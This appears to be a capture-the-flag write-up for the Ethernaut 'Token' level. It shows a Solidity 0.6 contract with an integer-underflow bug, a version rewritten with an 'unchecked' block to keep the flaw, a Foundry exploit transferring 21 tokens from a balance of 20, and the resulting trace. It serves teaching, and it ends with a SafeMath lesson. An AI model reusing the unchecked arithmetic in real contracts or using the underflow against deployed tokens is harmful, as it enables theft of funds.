We start with the 20 tokens. To complete this challenge we need to get some more.
Here is the original Token
contract:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Token {
mapping(address => uint256) balances;
uint256 public totalSupply;
constructor(uint256 _initialSupply) {
balances[msg.sender] = totalSupply = _initialSupply;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
Analysis Link to heading
Let’s go line by line and see what we can come up with.
Firstly, let’s review the transfer
function:
function transfer(address _to, uint256 _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
In Solidity <0.8
integers overflow/underflow without error and
arithmetic operations always wrap. In Solidity >=0.8
the
compiler throws an error on over- and underflow thanks to
built
in overflow checking. The Token
contract uses Solidity
^0.6.0
, which means it is vulnerable to integer
overflows/underflows.
require(balances[msg.sender] - _value >= 0);
This check doesn’t help given that the contract uses an unsigned
integers for balances
.
Let’s go over the part that does arithmetics:
balances[msg.sender] -= _value;
balances[_to] += _value;
We know that balances[player]
equals 20
. It means to
overflow our balance we need to pass at least 21
.
We use pragma solidity ^0.8.0
everywhere. To obtain the
solidity <0.8
behavior, we have to slightly modify the code of
this challenge and wrap arithmetics with the unchecked
statement:
function transfer(address _to, uint256 _value) public returns (bool) {
unchecked {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
}
return true;
}
The exploit is simple:
function exploit() internal override {
vm.startPrank(player);
level.transfer(address(0), 21);
vm.stopPrank();
}
The trace:
$ forge test --match-contract TokenTest -vvvv
Running 1 test for src/test/Token.t.sol:TokenTest
[PASS] testToken() (gas: 319929)
Traces:
[319929] TokenTest::testToken()
├─ [244552] TokenTest::create()
│ ├─ [0] VM::prank(player: [...])
│ │ └─ ← ()
│ ├─ [232204] Ethernaut::createLevelInstance(TokenFactory: [...])
│ │ ├─ [180641] TokenFactory::createInstance(player: [...])
│ │ │ ├─ [120540] → new Token@"0x037f…dd8f"
│ │ │ │ └─ ← 380 bytes of code
│ │ │ ├─ [22893] Token::transfer(player: [...], 20)
│ │ │ │ └─ ← true
│ │ │ └─ ← Token: [...]
│ │ ├─ emit LevelInstanceCreatedLog(player: player: [...], instance: Token: [...])
│ │ └─ ← Token: [...]
│ └─ ← Token: [...]
├─ [0] VM::startPrank(player: [...])
│ └─ ← ()
├─ [22893] Token::transfer(0x0000000000000000000000000000000000000000, 21)
│ └─ ← true
├─ [0] VM::stopPrank()
│ └─ ← ()
├─ [0] VM::startPrank(player: [...])
│ └─ ← ()
├─ [4586] Ethernaut::submitLevelInstance(Token: [...])
│ ├─ [1539] TokenFactory::validateInstance(Token: [...], player: [...])
│ │ ├─ [529] Token::balanceOf(player: [...]) [staticcall]
│ │ │ └─ 115792089237316195423570985008687907853269984665640564039457584007913129639935
│ │ └─ ← true
│ ├─ emit LevelCompletedLog(player: player: [...], level: TokenFactory: [...])
│ └─ ← true
├─ [0] VM::stopPrank()
│ └─ ← ()
└─ ← ()
Test result: ok. 1 passed; 0 failed; finished in 1.00ms
Lessons learned Link to heading
In Solidity <0.8
use
SafeMath
from OpenZeppelin, which provides wrappers over Solidity’s
arithmetic operations.
References Link to heading
- Arithmetic Overflow and Underflow from Solidity by Example.
- Arithmetic Overflow and Underflow | Hack Solidity (0.6) – YouTube video from Smart Contract Programmer.
The full code is here. Let’s continue to the Ethernaut, #7 Delegation!